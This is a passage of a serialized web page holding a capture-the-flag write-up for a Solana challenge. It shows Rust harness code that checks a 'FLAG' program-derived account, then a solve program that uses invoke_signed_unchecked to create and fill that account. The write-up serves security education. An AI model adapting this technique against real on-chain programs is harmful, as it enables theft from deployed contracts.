user",{"type":22,"tag":264,"props":43478,"children":43479},{"style":4309},[43480],{"type":27,"value":4312},{"type":22,"tag":264,"props":43482,"children":43483},{"style":1549},[43484],{"type":27,"value":43443},{"type":22,"tag":264,"props":43486,"children":43487},{"style":4309},[43488],{"type":27,"value":210},{"type":22,"tag":264,"props":43490,"children":43491},{"style":4401},[43492],{"type":27,"value":4849},{"type":22,"tag":264,"props":43494,"children":43495},{"style":1539},[43496],{"type":27,"value":4977},{"type":22,"tag":264,"props":43498,"children":43499},{"class":1534,"line":1560},[43500],{"type":22,"tag":264,"props":43501,"children":43502},{"emptyLinePlaceholder":17},[43503],{"type":27,"value":4986},{"type":22,"tag":264,"props":43505,"children":43506},{"class":1534,"line":1569},[43507,43511,43516,43520,43524,43529,43533,43537,43541],{"type":22,"tag":264,"props":43508,"children":43509},{"style":4293},[43510],{"type":27,"value":13086},{"type":22,"tag":264,"props":43512,"children":43513},{"style":1549},[43514],{"type":27,"value":43515}," payer_keypair",{"type":22,"tag":264,"props":43517,"children":43518},{"style":4309},[43519],{"type":27,"value":4312},{"type":22,"tag":264,"props":43521,"children":43522},{"style":4309},[43523],{"type":27,"value":8434},{"type":22,"tag":264,"props":43525,"children":43526},{"style":1549},[43527],{"type":27,"value":43528},"chall",{"type":22,"tag":264,"props":43530,"children":43531},{"style":4309},[43532],{"type":27,"value":210},{"type":22,"tag":264,"props":43534,"children":43535},{"style":1539},[43536],{"type":27,"value":21587},{"type":22,"tag":264,"props":43538,"children":43539},{"style":4309},[43540],{"type":27,"value":210},{"type":22,"tag":264,"props":43542,"children":43543},{"style":1539},[43544],{"type":27,"value":43545},"payer;\n",{"type":22,"tag":264,"props":43547,"children":43548},{"class":1534,"line":1583},[43549,43553,43558,43562,43566,43570,43574],{"type":22,"tag":264,"props":43550,"children":43551},{"style":4293},[43552],{"type":27,"value":13086},{"type":22,"tag":264,"props":43554,"children":43555},{"style":1549},[43556],{"type":27,"value":43557}," payer",{"type":22,"tag":264,"props":43559,"children":43560},{"style":4309},[43561],{"type":27,"value":4312},{"type":22,"tag":264,"props":43563,"children":43564},{"style":1549},[43565],{"type":27,"value":43515},{"type":22,"tag":264,"props":43567,"children":43568},{"style":4309},[43569],{"type":27,"value":210},{"type":22,"tag":264,"props":43571,"children":43572},{"style":4401},[43573],{"type":27,"value":4849},{"type":22,"tag":264,"props":43575,"children":43576},{"style":1539},[43577],{"type":27,"value":4977},{"type":22,"tag":264,"props":43579,"children":43580},{"class":1534,"line":1603},[43581],{"type":22,"tag":264,"props":43582,"children":43583},{"emptyLinePlaceholder":17},[43584],{"type":27,"value":4986},{"type":22,"tag":264,"props":43586,"children":43587},{"class":1534,"line":1612},[43588],{"type":22,"tag":264,"props":43589,"children":43590},{"style":1549},[43591],{"type":27,"value":43592},"chall\n",{"type":22,"tag":264,"props":43594,"children":43595},{"class":1534,"line":1621},[43596,43601,43606,43611,43615,43619,43623,43627,43632,43636,43640,43644,43648,43653],{"type":22,"tag":264,"props":43597,"children":43598},{"style":4309},[43599],{"type":27,"value":43600},"    .",{"type":22,"tag":264,"props":43602,"children":43603},{"style":4401},[43604],{"type":27,"value":43605},"run_ix",{"type":22,"tag":264,"props":43607,"children":43608},{"style":1539},[43609],{"type":27,"value":43610},"(system_instruction",{"type":22,"tag":264,"props":43612,"children":43613},{"style":4309},[43614],{"type":27,"value":4785},{"type":22,"tag":264,"props":43616,"children":43617},{"style":4401},[43618],{"type":27,"value":33438},{"type":22,"tag":264,"props":43620,"children":43621},{"style":1539},[43622],{"type":27,"value":2660},{"type":22,"tag":264,"props":43624,"children":43625},{"style":4309},[43626],{"type":27,"value":4413},{"type":22,"tag":264,"props":43628,"children":43629},{"style":1549},[43630],{"type":27,"value":43631},"payer",{"type":22,"tag":264,"props":43633,"children":43634},{"style":1539},[43635],{"type":27,"value":4380},{"type":22,"tag":264,"props":43637,"children":43638},{"style":4309},[43639],{"type":27,"value":4413},{"type":22,"tag":264,"props":43641,"children":43642},{"style":1549},[43643],{"type":27,"value":21539},{"type":22,"tag":264,"props":43645,"children":43646},{"style":1539},[43647],{"type":27,"value":4380},{"type":22,"tag":264,"props":43649,"children":43650},{"style":4344},[43651],{"type":27,"value":43652},"100_000_000_000",{"type":22,"tag":264,"props":43654,"children":43655},{"style":1539},[43656],{"type":27,"value":21018},{"type":22,"tag":264,"props":43658,"children":43659},{"class":1534,"line":1629},[43660,43664,43668,43672],{"type":22,"tag":264,"props":43661,"children":43662},{"style":4309},[43663],{"type":27,"value":43600},{"type":22,"tag":264,"props":43665,"children":43666},{"style":4328},[43667],{"type":27,"value":34232},{"type":22,"tag":264,"props":43669,"children":43670},{"style":4309},[43671],{"type":27,"value":4458},{"type":22,"tag":264,"props":43673,"children":43674},{"style":1539},[43675],{"type":27,"value":4322},{"type":22,"tag":264,"props":43677,"children":43678},{"class":1534,"line":1642},[43679],{"type":22,"tag":264,"props":43680,"children":43681},{"emptyLinePlaceholder":17},[43682],{"type":27,"value":4986},{"type":22,"tag":264,"props":43684,"children":43685},{"class":1534,"line":1660},[43686,43691,43695,43699,43703,43708,43712,43716,43720,43724],{"type":22,"tag":264,"props":43687,"children":43688},{"style":4401},[43689],{"type":27,"value":43690},"writeln!",{"type":22,"tag":264,"props":43692,"children":43693},{"style":1539},[43694],{"type":27,"value":2660},{"type":22,"tag":264,"props":43696,"children":43697},{"style":1549},[43698],{"type":27,"value":43254},{"type":22,"tag":264,"props":43700,"children":43701},{"style":1539},[43702],{"type":27,"value":4380},{"type":22,"tag":264,"props":43704,"children":43705},{"style":1597},[43706],{"type":27,"value":43707},"\"user: {}\"",{"type":22,"tag":264,"props":43709,"children":43710},{"style":1539},[43711],{"type":27,"value":4380},{"type":22,"tag":264,"props":43713,"children":43714},{"style":1549},[43715],{"type":27,"value":21539},{"type":22,"tag":264,"props":43717,"children":43718},{"style":1539},[43719],{"type":27,"value":2806},{"type":22,"tag":264,"props":43721,"children":43722},{"style":4309},[43723],{"type":27,"value":4458},{"type":22,"tag":264,"props":43725,"children":43726},{"style":1539},[43727],{"type":27,"value":4322},{"type":22,"tag":1867,"props":43729,"children":43730},{"start":1560},[43731],{"type":22,"tag":1871,"props":43732,"children":43733},{},[43734],{"type":27,"value":43735},"Reads an instruction from the tcp stream and executes it",{"type":22,"tag":618,"props":43737,"children":43739},{"className":4274,"code":43738,"language":4273,"meta":7,"style":7},"let solve_ix = chall.read_instruction(chall::ID)?;\nchall.run_ixs_full(&[solve_ix], &[&user_keypair], &user).await?;\n",[43740],{"type":22,"tag":257,"props":43741,"children":43742},{"__ignoreMap":7},[43743,43793],{"type":22,"tag":264,"props":43744,"children":43745},{"class":1534,"line":1535},[43746,43750,43755,43759,43763,43767,43772,43776,43780,43785,43789],{"type":22,"tag":264,"props":43747,"children":43748},{"style":4293},[43749],{"type":27,"value":13086},{"type":22,"tag":264,"props":43751,"children":43752},{"style":1549},[43753],{"type":27,"value":43754}," solve_ix",{"type":22,"tag":264,"props":43756,"children":43757},{"style":4309},[43758],{"type":27,"value":4312},{"type":22,"tag":264,"props":43760,"children":43761},{"style":1549},[43762],{"type":27,"value":43359},{"type":22,"tag":264,"props":43764,"children":43765},{"style":4309},[43766],{"type":27,"value":210},{"type":22,"tag":264,"props":43768,"children":43769},{"style":4401},[43770],{"type":27,"value":43771},"read_instruction",{"type":22,"tag":264,"props":43773,"children":43774},{"style":1539},[43775],{"type":27,"value":43341},{"type":22,"tag":264,"props":43777,"children":43778},{"style":4309},[43779],{"type":27,"value":4785},{"type":22,"tag":264,"props":43781,"children":43782},{"style":1539},[43783],{"type":27,"value":43784},"ID)",{"type":22,"tag":264,"props":43786,"children":43787},{"style":4309},[43788],{"type":27,"value":4458},{"type":22,"tag":264,"props":43790,"children":43791},{"style":1539},[43792],{"type":27,"value":4322},{"type":22,"tag":264,"props":43794,"children":43795},{"class":1534,"line":1545},[43796,43800,43804,43809,43813,43817,43821,43826,43830,43834,43838,43842,43847,43851,43855,43859,43863,43867,43871,43875],{"type":22,"tag":264,"props":43797,"children":43798},{"style":1549},[43799],{"type":27,"value":43528},{"type":22,"tag":264,"props":43801,"children":43802},{"style":4309},[43803],{"type":27,"value":210},{"type":22,"tag":264,"props":43805,"children":43806},{"style":4401},[43807],{"type":27,"value":43808},"run_ixs_full",{"type":22,"tag":264,"props":43810,"children":43811},{"style":1539},[43812],{"type":27,"value":2660},{"type":22,"tag":264,"props":43814,"children":43815},{"style":4309},[43816],{"type":27,"value":4413},{"type":22,"tag":264,"props":43818,"children":43819},{"style":1539},[43820],{"type":27,"value":5045},{"type":22,"tag":264,"props":43822,"children":43823},{"style":1549},[43824],{"type":27,"value":43825},"solve_ix",{"type":22,"tag":264,"props":43827,"children":43828},{"style":1539},[43829],{"type":27,"value":24361},{"type":22,"tag":264,"props":43831,"children":43832},{"style":4309},[43833],{"type":27,"value":4413},{"type":22,"tag":264,"props":43835,"children":43836},{"style":1539},[43837],{"type":27,"value":5045},{"type":22,"tag":264,"props":43839,"children":43840},{"style":4309},[43841],{"type":27,"value":4413},{"type":22,"tag":264,"props":43843,"children":43844},{"style":1549},[43845],{"type":27,"value":43846},"user_keypair",{"type":22,"tag":264,"props":43848,"children":43849},{"style":1539},[43850],{"type":27,"value":24361},{"type":22,"tag":264,"props":43852,"children":43853},{"style":4309},[43854],{"type":27,"value":4413},{"type":22,"tag":264,"props":43856,"children":43857},{"style":1549},[43858],{"type":27,"value":21539},{"type":22,"tag":264,"props":43860,"children":43861},{"style":1539},[43862],{"type":27,"value":2806},{"type":22,"tag":264,"props":43864,"children":43865},{"style":4309},[43866],{"type":27,"value":210},{"type":22,"tag":264,"props":43868,"children":43869},{"style":4328},[43870],{"type":27,"value":34232},{"type":22,"tag":264,"props":43872,"children":43873},{"style":4309},[43874],{"type":27,"value":4458},{"type":22,"tag":264,"props":43876,"children":43877},{"style":1539},[43878],{"type":27,"value":4322},{"type":22,"tag":1867,"props":43880,"children":43881},{"start":1569},[43882],{"type":22,"tag":1871,"props":43883,"children":43884},{},[43885],{"type":27,"value":43886},"Checks that the account at PDA(\"FLAG\") exists, has a data length of 0x1337 and the first 8 bytes are equal to 0x4337. If so, it prints the flag.",{"type":22,"tag":618,"props":43888,"children":43890},{"className":4274,"code":43889,"language":4273,"meta":7,"style":7},"let flag = Pubkey::create_program_address(&[\"FLAG\".as_ref()], &chall::ID)?;\nif let Some(acct) = chall.ctx.banks_client.get_account(flag).await? {\n    if acct.data.len() == 0x1337\n        && u64::from_le_bytes(acct.data[..8].try_into().unwrap()) == 0x4337\n    {\n        writeln!(socket, \"congrats!\")?;\n        if let Ok(flag) = env::var(\"FLAG\") {\n            writeln!(socket, \"flag: {:?}\", flag)?;\n        } else {\n            writeln!(socket, \"flag not found, please contact admin\")?;\n        }\n    }\n}\n",[43891],{"type":22,"tag":257,"props":43892,"children":43893},{"__ignoreMap":7},[43894,43978,44069,44110,44194,44201,44238,44295,44340,44355,44391,44398,44405],{"type":22,"tag":264,"props":43895,"children":43896},{"class":1534,"line":1535},[43897,43901,43906,43910,43914,43918,43923,43927,43931,43935,43940,43944,43949,43954,43958,43962,43966,43970,43974],{"type":22,"tag":264,"props":43898,"children":43899},{"style":4293},[43900],{"type":27,"value":13086},{"type":22,"tag":264,"props":43902,"children":43903},{"style":1549},[43904],{"type":27,"value":43905}," flag",{"type":22,"tag":264,"props":43907,"children":43908},{"style":4309},[43909],{"type":27,"value":4312},{"type":22,"tag":264,"props":43911,"children":43912},{"style":4722},[43913],{"type":27,"value":22164},{"type":22,"tag":264,"props":43915,"children":43916},{"style":4309},[43917],{"type":27,"value":4785},{"type":22,"tag":264,"props":43919,"children":43920},{"style":4401},[43921],{"type":27,"value":43922},"create_program_address",{"type":22,"tag":264,"props":43924,"children":43925},{"style":1539},[43926],{"type":27,"value":2660},{"type":22,"tag":264,"props":43928,"children":43929},{"style":4309},[43930],{"type":27,"value":4413},{"type":22,"tag":264,"props":43932,"children":43933},{"style":1539},[43934],{"type":27,"value":5045},{"type":22,"tag":264,"props":43936,"children":43937},{"style":1597},[43938],{"type":27,"value":43939},"\"FLAG\"",{"type":22,"tag":264,"props":43941,"children":43942},{"style":4309},[43943],{"type":27,"value":210},{"type":22,"tag":264,"props":43945,"children":43946},{"style":4401},[43947],{"type":27,"value":43948},"as_ref",{"type":22,"tag":264,"props":43950,"children":43951},{"style":1539},[43952],{"type":27,"value":43953},"()], ",{"type":22,"tag":264,"props":43955,"children":43956},{"style":4309},[43957],{"type":27,"value":4413},{"type":22,"tag":264,"props":43959,"children":43960},{"style":1539},[43961],{"type":27,"value":43528},{"type":22,"tag":264,"props":43963,"children":43964},{"style":4309},[43965],{"type":27,"value":4785},{"type":22,"tag":264,"props":43967,"children":43968},{"style":1539},[43969],{"type":27,"value":43784},{"type":22,"tag":264,"props":43971,"children":43972},{"style":4309},[43973],{"type":27,"value":4458},{"type":22,"tag":264,"props":43975,"children":43976},{"style":1539},[43977],{"type":27,"value":4322},{"type":22,"tag":264,"props":43979,"children":43980},{"class":1534,"line":1545},[43981,43985,43989,43993,43997,44002,44006,44010,44014,44018,44022,44026,44031,44035,44040,44044,44049,44053,44057,44061,44065],{"type":22,"tag":264,"props":43982,"children":43983},{"style":4328},[43984],{"type":27,"value":16879},{"type":22,"tag":264,"props":43986,"children":43987},{"style":4293},[43988],{"type":27,"value":28617},{"type":22,"tag":264,"props":43990,"children":43991},{"style":4722},[43992],{"type":27,"value":28622},{"type":22,"tag":264,"props":43994,"children":43995},{"style":1539},[43996],{"type":27,"value":2660},{"type":22,"tag":264,"props":43998,"children":43999},{"style":1549},[44000],{"type":27,"value":44001},"acct",{"type":22,"tag":264,"props":44003,"children":44004},{"style":1539},[44005],{"type":27,"value":4390},{"type":22,"tag":264,"props":44007,"children":44008},{"style":4309},[44009],{"type":27,"value":429},{"type":22,"tag":264,"props":44011,"children":44012},{"style":1549},[44013],{"type":27,"value":43359},{"type":22,"tag":264,"props":44015,"children":44016},{"style":4309},[44017],{"type":27,"value":210},{"type":22,"tag":264,"props":44019,"children":44020},{"style":1539},[44021],{"type":27,"value":21587},{"type":22,"tag":264,"props":44023,"children":44024},{"style":4309},[44025],{"type":27,"value":210},{"type":22,"tag":264,"props":44027,"children":44028},{"style":1539},[44029],{"type":27,"value":44030},"banks_client",{"type":22,"tag":264,"props":44032,"children":44033},{"style":4309},[44034],{"type":27,"value":210},{"type":22,"tag":264,"props":44036,"children":44037},{"style":4401},[44038],{"type":27,"value":44039},"get_account",{"type":22,"tag":264,"props":44041,"children":44042},{"style":1539},[44043],{"type":27,"value":2660},{"type":22,"tag":264,"props":44045,"children":44046},{"style":1549},[44047],{"type":27,"value":44048},"flag",{"type":22,"tag":264,"props":44050,"children":44051},{"style":1539},[44052],{"type":27,"value":2806},{"type":22,"tag":264,"props":44054,"children":44055},{"style":4309},[44056],{"type":27,"value":210},{"type":22,"tag":264,"props":44058,"children":44059},{"style":4328},[44060],{"type":27,"value":34232},{"type":22,"tag":264,"props":44062,"children":44063},{"style":4309},[44064],{"type":27,"value":4458},{"type":22,"tag":264,"props":44066,"children":44067},{"style":1539},[44068],{"type":27,"value":4594},{"type":22,"tag":264,"props":44070,"children":44071},{"class":1534,"line":1560},[44072,44076,44081,44085,44089,44093,44097,44101,44105],{"type":22,"tag":264,"props":44073,"children":44074},{"style":4328},[44075],{"type":27,"value":13578},{"type":22,"tag":264,"props":44077,"children":44078},{"style":1549},[44079],{"type":27,"value":44080}," acct",{"type":22,"tag":264,"props":44082,"children":44083},{"style":4309},[44084],{"type":27,"value":210},{"type":22,"tag":264,"props":44086,"children":44087},{"style":1539},[44088],{"type":27,"value":5013},{"type":22,"tag":264,"props":44090,"children":44091},{"style":4309},[44092],{"type":27,"value":210},{"type":22,"tag":264,"props":44094,"children":44095},{"style":4401},[44096],{"type":27,"value":10436},{"type":22,"tag":264,"props":44098,"children":44099},{"style":1539},[44100],{"type":27,"value":15342},{"type":22,"tag":264,"props":44102,"children":44103},{"style":4309},[44104],{"type":27,"value":9870},{"type":22,"tag":264,"props":44106,"children":44107},{"style":4344},[44108],{"type":27,"value":44109}," 0x1337\n",{"type":22,"tag":264,"props":44111,"children":44112},{"class":1534,"line":1569},[44113,44118,44122,44126,44131,44135,44139,44143,44148,44152,44156,44160,44164,44168,44172,44176,44180,44185,44189],{"type":22,"tag":264,"props":44114,"children":44115},{"style":4309},[44116],{"type":27,"value":44117},"        &&",{"type":22,"tag":264,"props":44119,"children":44120},{"style":4722},[44121],{"type":27,"value":7151},{"type":22,"tag":264,"props":44123,"children":44124},{"style":4309},[44125],{"type":27,"value":4785},{"type":22,"tag":264,"props":44127,"children":44128},{"style":4401},[44129],{"type":27,"value":44130},"from_le_bytes",{"type":22,"tag":264,"props":44132,"children":44133},{"style":1539},[44134],{"type":27,"value":2660},{"type":22,"tag":264,"props":44136,"children":44137},{"style":1549},[44138],{"type":27,"value":44001},{"type":22,"tag":264,"props":44140,"children":44141},{"style":4309},[44142],{"type":27,"value":210},{"type":22,"tag":264,"props":44144,"children":44145},{"style":1539},[44146],{"type":27,"value":44147},"data[",{"type":22,"tag":264,"props":44149,"children":44150},{"style":4309},[44151],{"type":27,"value":4352},{"type":22,"tag":264,"props":44153,"children":44154},{"style":4344},[44155],{"type":27,"value":5378},{"type":22,"tag":264,"props":44157,"children":44158},{"style":1539},[44159],{"type":27,"value":16710},{"type":22,"tag":264,"props":44161,"children":44162},{"style":4309},[44163],{"type":27,"value":210},{"type":22,"tag":264,"props":44165,"children":44166},{"style":4401},[44167],{"type":27,"value":27474},{"type":22,"tag":264,"props":44169,"children":44170},{"style":1539},[44171],{"type":27,"value":15178},{"type":22,"tag":264,"props":44173,"children":44174},{"style":4309},[44175],{"type":27,"value":210},{"type":22,"tag":264,"props":44177,"children":44178},{"style":4401},[44179],{"type":27,"value":4972},{"type":22,"tag":264,"props":44181,"children":44182},{"style":1539},[44183],{"type":27,"value":44184},"()) ",{"type":22,"tag":264,"props":44186,"children":44187},{"style":4309},[44188],{"type":27,"value":9870},{"type":22,"tag":264,"props":44190,"children":44191},{"style":4344},[44192],{"type":27,"value":44193}," 0x4337\n",{"type":22,"tag":264,"props":44195,"children":44196},{"class":1534,"line":1583},[44197],{"type":22,"tag":264,"props":44198,"children":44199},{"style":1539},[44200],{"type":27,"value":1566},{"type":22,"tag":264,"props":44202,"children":44203},{"class":1534,"line":1603},[44204,44209,44213,44217,44221,44226,44230,44234],{"type":22,"tag":264,"props":44205,"children":44206},{"style":4401},[44207],{"type":27,"value":44208},"        writeln!",{"type":22,"tag":264,"props":44210,"children":44211},{"style":1539},[44212],{"type":27,"value":2660},{"type":22,"tag":264,"props":44214,"children":44215},{"style":1549},[44216],{"type":27,"value":43254},{"type":22,"tag":264,"props":44218,"children":44219},{"style":1539},[44220],{"type":27,"value":4380},{"type":22,"tag":264,"props":44222,"children":44223},{"style":1597},[44224],{"type":27,"value":44225},"\"congrats!\"",{"type":22,"tag":264,"props":44227,"children":44228},{"style":1539},[44229],{"type":27,"value":2806},{"type":22,"tag":264,"props":44231,"children":44232},{"style":4309},[44233],{"type":27,"value":4458},{"type":22,"tag":264,"props":44235,"children":44236},{"style":1539},[44237],{"type":27,"value":4322},{"type":22,"tag":264,"props":44239,"children":44240},{"class":1534,"line":1612},[44241,44245,44249,44254,44258,44262,44266,44270,44275,44279,44283,44287,44291],{"type":22,"tag":264,"props":44242,"children":44243},{"style":4328},[44244],{"type":27,"value":4575},{"type":22,"tag":264,"props":44246,"children":44247},{"style":4293},[44248],{"type":27,"value":28617},{"type":22,"tag":264,"props":44250,"children":44251},{"style":4722},[44252],{"type":27,"value":44253}," Ok",{"type":22,"tag":264,"props":44255,"children":44256},{"style":1539},[44257],{"type":27,"value":2660},{"type":22,"tag":264,"props":44259,"children":44260},{"style":1549},[44261],{"type":27,"value":44048},{"type":22,"tag":264,"props":44263,"children":44264},{"style":1539},[44265],{"type":27,"value":4390},{"type":22,"tag":264,"props":44267,"children":44268},{"style":4309},[44269],{"type":27,"value":429},{"type":22,"tag":264,"props":44271,"children":44272},{"style":1539},[44273],{"type":27,"value":44274}," env",{"type":22,"tag":264,"props":44276,"children":44277},{"style":4309},[44278],{"type":27,"value":4785},{"type":22,"tag":264,"props":44280,"children":44281},{"style":4401},[44282],{"type":27,"value":36361},{"type":22,"tag":264,"props":44284,"children":44285},{"style":1539},[44286],{"type":27,"value":2660},{"type":22,"tag":264,"props":44288,"children":44289},{"style":1597},[44290],{"type":27,"value":43939},{"type":22,"tag":264,"props":44292,"children":44293},{"style":1539},[44294],{"type":27,"value":16103},{"type":22,"tag":264,"props":44296,"children":44297},{"class":1534,"line":1621},[44298,44303,44307,44311,44315,44320,44324,44328,44332,44336],{"type":22,"tag":264,"props":44299,"children":44300},{"style":4401},[44301],{"type":27,"value":44302},"            writeln!",{"type":22,"tag":264,"props":44304,"children":44305},{"style":1539},[44306],{"type":27,"value":2660},{"type":22,"tag":264,"props":44308,"children":44309},{"style":1549},[44310],{"type":27,"value":43254},{"type":22,"tag":264,"props":44312,"children":44313},{"style":1539},[44314],{"type":27,"value":4380},{"type":22,"tag":264,"props":44316,"children":44317},{"style":1597},[44318],{"type":27,"value":44319},"\"flag: {:?}\"",{"type":22,"tag":264,"props":44321,"children":44322},{"style":1539},[44323],{"type":27,"value":4380},{"type":22,"tag":264,"props":44325,"children":44326},{"style":1549},[44327],{"type":27,"value":44048},{"type":22,"tag":264,"props":44329,"children":44330},{"style":1539},[44331],{"type":27,"value":2806},{"type":22,"tag":264,"props":44333,"children":44334},{"style":4309},[44335],{"type":27,"value":4458},{"type":22,"tag":264,"props":44337,"children":44338},{"style":1539},[44339],{"type":27,"value":4322},{"type":22,"tag":264,"props":44341,"children":44342},{"class":1534,"line":1629},[44343,44347,44351],{"type":22,"tag":264,"props":44344,"children":44345},{"style":1539},[44346],{"type":27,"value":4614},{"type":22,"tag":264,"props":44348,"children":44349},{"style":4328},[44350],{"type":27,"value":4619},{"type":22,"tag":264,"props":44352,"children":44353},{"style":1539},[44354],{"type":27,"value":4594},{"type":22,"tag":264,"props":44356,"children":44357},{"class":1534,"line":1642},[44358,44362,44366,44370,44374,44379,44383,44387],{"type":22,"tag":264,"props":44359,"children":44360},{"style":4401},[44361],{"type":27,"value":44302},{"type":22,"tag":264,"props":44363,"children":44364},{"style":1539},[44365],{"type":27,"value":2660},{"type":22,"tag":264,"props":44367,"children":44368},{"style":1549},[44369],{"type":27,"value":43254},{"type":22,"tag":264,"props":44371,"children":44372},{"style":1539},[44373],{"type":27,"value":4380},{"type":22,"tag":264,"props":44375,"children":44376},{"style":1597},[44377],{"type":27,"value":44378},"\"flag not found, please contact admin\"",{"type":22,"tag":264,"props":44380,"children":44381},{"style":1539},[44382],{"type":27,"value":2806},{"type":22,"tag":264,"props":44384,"children":44385},{"style":4309},[44386],{"type":27,"value":4458},{"type":22,"tag":264,"props":44388,"children":44389},{"style":1539},[44390],{"type":27,"value":4322},{"type":22,"tag":264,"props":44392,"children":44393},{"class":1534,"line":1660},[44394],{"type":22,"tag":264,"props":44395,"children":44396},{"style":1539},[44397],{"type":27,"value":4651},{"type":22,"tag":264,"props":44399,"children":44400},{"class":1534,"line":1668},[44401],{"type":22,"tag":264,"props":44402,"children":44403},{"style":1539},[44404],{"type":27,"value":1674},{"type":22,"tag":264,"props":44406,"children":44407},{"class":1534,"line":1677},[44408],{"type":22,"tag":264,"props":44409,"children":44410},{"style":1539},[44411],{"type":27,"value":1692},{"type":22,"tag":169,"props":44413,"children":44415},{"id":44414},"solution-idea",[44416],{"type":27,"value":44417},"Solution Idea",{"type":22,"tag":23,"props":44419,"children":44420},{},[44421,44423,44428],{"type":27,"value":44422},"You may think it's impossible to do with just one instruction, but we can actually leverage the ",{"type":22,"tag":257,"props":44424,"children":44426},{"className":44425},[],[44427],{"type":27,"value":36996},{"type":27,"value":44429}," function to execute infinite instructions. Well -- not entirely infinite, as we are limited by the amount of data we can pass to the on-chain program, and by the maximum stack depth of the Solana VM -- but we can execute up to 64 instructions, which is more than enough to get the flag.",{"type":22,"tag":23,"props":44431,"children":44432},{},[44433,44435,44441],{"type":27,"value":44434},"In order to get the flag, we need to make sure that the account at ",{"type":22,"tag":257,"props":44436,"children":44438},{"className":44437},[],[44439],{"type":27,"value":44440},"PDA(\"FLAG\")",{"type":27,"value":44442}," exists, has a data length of 0x1337, and the first 8 bytes are equal to 0x4337.",{"type":22,"tag":23,"props":44444,"children":44445},{},[44446,44448,44455],{"type":27,"value":44447},"Essentially, we need to ",{"type":22,"tag":69,"props":44449,"children":44452},{"href":44450,"rel":44451},"https://docs.solana.com/developing/runtime-facilities/programs#system-program",[73],[44453],{"type":27,"value":44454},"invoke the System Program",{"type":27,"value":44456},", and write controlled data into the newly created account.",{"type":22,"tag":23,"props":44458,"children":44459},{},[44460],{"type":27,"value":44461},"A sample program that does this is as follows:",{"type":22,"tag":618,"props":44463,"children":44465},{"className":4274,"code":44464,"language":4273,"meta":7,"style":7},"pub fn process_instruction(\n    program_id: &Pubkey,\n    accounts: &[AccountInfo],\n    data: &[u8]\n) -> ProgramResult {\n    let flag_pda_ai = &accounts[0];\n    let user_ai = &accounts[1];\n\n    // Step 1: Create a new account with 0x1337 bytes of data\n    let instruction = Instruction::new_with_bincode(\n        system_program::ID,\n        &SystemInstruction::CreateAccount {\n            space: 0x1337,\n            lamports: Rent::default().minimum_balance(0x1337),\n            owner: chall::ID\n        },\n        vec![\n            AccountMeta::new(*user_ai.key, true),\n            AccountMeta::new(*flag_pda_ai.key, true),\n        ],\n    );\n    invoke_signed_unchecked(\n        &instruction,\n        &[\n            user_ai.clone(),\n            flag_pda_ai.clone(),\n        ],\n        &[&[\"FLAG\".as_ref()]],\n    )?;\n\n    // Step 2: Write 0x4337 to the first 8 bytes of the account\n    flag_pda_ai.try_borrow_mut_data()?[..8].copy_from_slice(&0x4337u64.to_le_bytes());\n\n    Ok(())\n}\n",[44466],{"type":22,"tag":257,"props":44467,"children":44468},{"__ignoreMap":7},[44469,44489,44513,44541,44569,44589,44625,44661,44668,44676,44709,44726,44751,44772,44824,44849,44856,44869,44915,44959,44967,44975,44986,45002,45013,45033,45053,45060,45096,45111,45118,45126,45205,45212,45223],{"type":22,"tag":264,"props":44470,"children":44471},{"class":1534,"line":1535},[44472,44476,44480,44485],{"type":22,"tag":264,"props":44473,"children":44474},{"style":4293},[44475],{"type":27,"value":14989},{"type":22,"tag":264,"props":44477,"children":44478},{"style":4293},[44479],{"type":27,"value":14994},{"type":22,"tag":264,"props":44481,"children":44482},{"style":4401},[44483],{"type":27,"value":44484}," process_instruction",{"type":22,"tag":264,"props":44486,"children":44487},{"style":1539},[44488],{"type":27,"value":4767},{"type":22,"tag":264,"props":44490,"children":44491},{"class":1534,"line":1545},[44492,44497,44501,44505,44509],{"type":22,"tag":264,"props":44493,"children":44494},{"style":1549},[44495],{"type":27,"value":44496},"    program_id",{"type":22,"tag":264,"props":44498,"children":44499},{"style":4309},[44500],{"type":27,"value":5785},{"type":22,"tag":264,"props":44502,"children":44503},{"style":4309},[44504],{"type":27,"value":8434},{"type":22,"tag":264,"props":44506,"children":44507},{"style":4722},[44508],{"type":27,"value":22705},{"type":22,"tag":264,"props":44510,"children":44511},{"style":1539},[44512],{"type":27,"value":4812},{"type":22,"tag":264,"props":44514,"children":44515},{"class":1534,"line":1560},[44516,44521,44525,44529,44533,44537],{"type":22,"tag":264,"props":44517,"children":44518},{"style":1549},[44519],{"type":27,"value":44520},"    accounts",{"type":22,"tag":264,"props":44522,"children":44523},{"style":4309},[44524],{"type":27,"value":5785},{"type":22,"tag":264,"props":44526,"children":44527},{"style":4309},[44528],{"type":27,"value":8434},{"type":22,"tag":264,"props":44530,"children":44531},{"style":1539},[44532],{"type":27,"value":5045},{"type":22,"tag":264,"props":44534,"children":44535},{"style":4722},[44536],{"type":27,"value":16238},{"type":22,"tag":264,"props":44538,"children":44539},{"style":1539},[44540],{"type":27,"value":15562},{"type":22,"tag":264,"props":44542,"children":44543},{"class":1534,"line":1569},[44544,44549,44553,44557,44561,44565],{"type":22,"tag":264,"props":44545,"children":44546},{"style":1549},[44547],{"type":27,"value":44548},"    data",{"type":22,"tag":264,"props":44550,"children":44551},{"style":4309},[44552],{"type":27,"value":5785},{"type":22,"tag":264,"props":44554,"children":44555},{"style":4309},[44556],{"type":27,"value":8434},{"type":22,"tag":264,"props":44558,"children":44559},{"style":1539},[44560],{"type":27,"value":5045},{"type":22,"tag":264,"props":44562,"children":44563},{"style":4722},[44564],{"type":27,"value":4725},{"type":22,"tag":264,"props":44566,"children":44567},{"style":1539},[44568],{"type":27,"value":13071},{"type":22,"tag":264,"props":44570,"children":44571},{"class":1534,"line":1583},[44572,44576,44580,44585],{"type":22,"tag":264,"props":44573,"children":44574},{"style":1539},[44575],{"type":27,"value":4390},{"type":22,"tag":264,"props":44577,"children":44578},{"style":4309},[44579],{"type":27,"value":15056},{"type":22,"tag":264,"props":44581,"children":44582},{"style":4722},[44583],{"type":27,"value":44584}," ProgramResult",{"type":22,"tag":264,"props":44586,"children":44587},{"style":1539},[44588],{"type":27,"value":4594},{"type":22,"tag":264,"props":44590,"children":44591},{"class":1534,"line":1603},[44592,44596,44601,44605,44609,44613,44617,44621],{"type":22,"tag":264,"props":44593,"children":44594},{"style":4293},[44595],{"type":27,"value":4296},{"type":22,"tag":264,"props":44597,"children":44598},{"style":1549},[44599],{"type":27,"value":44600}," 